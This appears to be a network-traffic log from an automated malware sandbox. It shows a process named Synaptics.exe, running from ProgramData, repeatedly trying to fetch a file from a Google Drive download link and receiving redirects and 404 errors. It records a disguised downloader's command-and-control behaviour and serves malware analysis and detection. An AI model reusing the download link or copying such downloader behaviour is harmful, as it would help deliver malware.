2025-01-02 19:30:11 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:11 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7uufi-CuuSG2IT7wLak9LKJJWmSm-91fpdC4KXJFw3XMayJ_ox2MWl7zYcZNyeiWNyVZkJtO8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:11 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-9zZK_44E4xkYScADtjQXmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:11 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:11 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 6b 75 6f 57 35 61 48 34 42 65 63 74 56 5a 46 6a 77 6e 79 34 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="bkuoW5aH4BectVZFjwny4A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:11 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.9	50150	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:12 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-637N9sa6WGT9b6JCAiR_kQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.9	50149	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:12 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:12 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC64Xg5NVph1lDOLsZ_pznUCyOciwqzYz2Tlr_vK5SYko2JDgdeQbB83grcTehrQU-tfiYBEsus Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:12 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5zp8a64Bmyh5nnK7psQqdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:12 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:12 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6e 59 6a 67 67 42 6a 7a 35 67 33 62 45 6f 73 44 7a 49 34 48 56 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="nYjggBjz5g3bEosDzI4HVQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:12 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.9	50154	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:12 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:13 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4TyRTccBECYo2TD1GYGzwyu-Jl0hf5FmlwLivFKFPtG3z96yqZd6ZwLcSOykGyo7QFkbo0HGU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:12 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6hwCT0PAm03me-gpj7T7BA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:13 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:13 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 43 45 50 68 67 33 52 48 56 4d 31 73 67 6d 35 77 4c 58 6f 2d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="OCEPhg3RHVM1sgm5wLXo-Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:30:13 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.9	50151	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:12 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EzMuuOOPhXVgcr1B9l0dOQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.9	50155	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:13 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-r1vaUvNCfWvdZvKN-GEbAg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.9	50156	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:13 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.9	50157	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:13 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.9	50158	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:13 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.9	50162	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:14 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-tpqSnyXaac4-NShtB7ecFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.9	50161	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:14 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4jryn52bcGOuM-wBT-D2nA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

